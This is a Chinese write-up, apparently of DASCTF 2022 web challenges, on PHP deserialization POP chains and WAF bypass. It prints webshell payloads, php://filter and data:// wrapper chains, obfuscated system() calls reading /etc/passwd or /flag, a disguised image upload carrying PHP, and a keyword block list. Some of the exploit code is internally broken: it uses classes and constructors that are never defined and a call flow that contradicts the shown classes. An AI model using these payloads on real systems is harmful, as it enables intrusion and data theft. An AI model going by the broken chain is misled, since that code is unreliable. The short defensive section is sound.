DASCTF 2022 Web 漏洞利用:PHP 反序列化 POP 链构造与 WAF 绕过 3 种方法
PHP反序列化漏洞实战:从POP链构造到WAF绕过的三重攻击路径
1. 漏洞背景与核心概念
PHP反序列化漏洞长期以来都是Web安全领域的重点攻击向量,其危害性在于能够通过精心构造的序列化数据触发非预期的对象行为链。理解这类漏洞需要掌握三个核心概念:
序列化与反序列化机制
PHP通过serialize()将对象转换为可存储的字符串表示,unserialize()则执行逆向操作。当反序列化用户可控数据时,若类中存在魔术方法(如__wakeup、__destruct等),攻击者可通过控制对象属性来操纵程序执行流。
POP链(Property-Oriented Programming)
通过串联多个类的魔术方法调用形成的攻击链。典型触发路径:
__destruct() -> __toString() -> __invoke() -> 危险方法WAF绕过技术
现代WAF通常采用关键词黑名单机制,常见绕过手段包括:
- 大小写变异(如
SyStEm) - 注释符截断(
eval/*注释*/()) - 伪协议封装(
php://filter)
2. 反序列化利用链构造实战
以DASCTF 2022的ezpop题目为例,我们分析完整POP链构建过程:
2.1 源码审计与链式调用分析
目标代码中存在以下关键类结构:
class Crow { public $v1; public function __invoke() { $this->v1->custom_method(); } } class Fin { public $f1; public function __destruct() { echo $this->f1; } public function __call($name, $args) { call_user_func($this->f1); } } class Mix { public $m1; public function run() { include($this->m1); } public function get_flag() { system("/readflag"); } }2.2 分步构造POP链
触发起点
选择Fin::__destruct作为入口点,该魔术方法在对象销毁时自动调用:$fin = new Fin();字符串转换跳板
设置f1为What类实例,触发__toString:$what = new What(); $fin->f1 = $what; // 触发__toString方法调用中转
通过Mix::run作为中间跳板:$mix = new Mix(); $what->a = $mix; // __toString中调用run()最终执行点
Crow::__invoke触发命令执行:$crow = new Crow(); $mix->m1 = $crow; // run()中触发__invoke $crow->v1 = $mix; // __invoke中调用get_flag()
完整利用代码:
$mix = new Mix(); $crow = new Crow($mix); $mix->m1 = $crow; $what = new What($mix); $fin = new Fin($what); echo serialize($fin);2.3 可视化调用流程
graph TD A[__destruct] --> B[__toString] B --> C[run] C --> D[__invoke] D --> E[__call] E --> F[get_flag]3. WAF绕过三重技巧
3.1 注释符截断法
当遇到eval函数过滤时,利用PHP解析特性:
// 原始攻击代码 eval('system("whoami");'); // 绕过变形 eval/*WAFbypass*/($_GET[1]);实战应用:
class Bypass { public $code = "system/*注释*/('cat /*更多注释*/ /etc/passwd');"; public function __toString() { eval(explode('/*', $this->code)[0]); } }3.2 大小写变异技术
针对strstr等简单字符串检测:
// 黑名单检测 if(strstr($input, 'system')) die('Blocked!'); // 有效载荷 SyStEm('id'); PhPInFo();复合变形方案:
$cmd = strtolower($_POST['cmd']) === 'id' ? 'sYstEm' : 'pAsstHru'; $cmd($_POST['arg']);3.3 伪协议封装技术
利用php://filter绕过内容检查:
场景1:Base64编码绕过
// 常规文件包含 include($_GET['file']); // 检测.php后缀 // 绕过方案 include('php://filter/convert.base64-encode/resource=upload/evil.jpg');场景2:多重编码嵌套
$payload = base64_encode('<?php system($_GET[0]);?>'); $final = 'php://filter/convert.base64-decode|convert.base64-decode/resource=data://text/plain,'.$payload;4. 高级绕过:动态特征混淆
4.1 可变函数名技术
$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $func('whoami');4.2 反射调用绕过
$class = new ReflectionClass('System'); $method = $class->getMethod('main'); $method->invokeArgs(null, [['whoami']]);4.3 异或运算生成
$xor = '('^'@').'ystem'; $xor('cat /flag');5. 防御方案与最佳实践
5.1 安全开发建议
输入验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) { throw new InvalidArgumentException('Invalid serialized data'); }使用安全反序列化
$data = json_decode($input, true); // 替代unserialize魔术方法防护
class SafeClass { private function __wakeup() { // 空实现或权限检查 } }
5.2 WAF配置强化
规则示例(ModSecurity):
SecRule REQUEST_FILENAME "@rx \.php$" \ "id:1001,\ phase:2,\ t:lowercase,\ msg:'PHP Object Injection Attempt',\ chain" SecRule ARGS "@rx (?:__[a-z]+__|system|exec|shell_exec)" \ "ctl:auditLogParts=+E"5.3 架构级防护
| 防护层级 | 实施措施 | 效果评估 |
|---|---|---|
| 网络层 | 限制反序列化端口访问 | 减少攻击面 |
| 应用层 | 实施HMAC签名验证 | 防数据篡改 |
| 运行时 | 禁用危险函数列表 | 阻断执行链 |
6. 实战案例:upgdstore题目突破
6.1 黑名单分析
题目过滤了以下关键词:
$blacklist = ["eval", "system", "file", "fopen", "php://"];6.2 分步绕过方案
第一阶段:文件读取
show_source(base64_decode('aW5kZXgucGhw'));第二阶段:伪协议利用
include('PHP://filter/convert.base64-encode/resource=uploads/evil.jpg');最终突破:
$a = strtoupper('php'); include($a.'://input');
完整攻击链:
POST /upload.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="exploit.jpg" Content-Type: image/jpeg <?php Include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2ZsYWc='));?>7. 自动化测试工具链
7.1 推荐工具集
| 工具名称 | 用途 | 项目地址 |
|---|---|---|
| PHPGGC | POP链生成 | github.com/ambionics/phpggc |
| RIPS | 静态分析 | rips-scanner.sourceforge.io |
| SecLists | 载荷字典 | github.com/danielmiessler/SecLists |
7.2 自定义检测脚本
import re def detect_unserialize(code): patterns = [ r'unserialize\([\'"]\$\w+[\'"]\)', r'__destruct|__wakeup|__toString' ] return any(re.search(p, code) for p in patterns)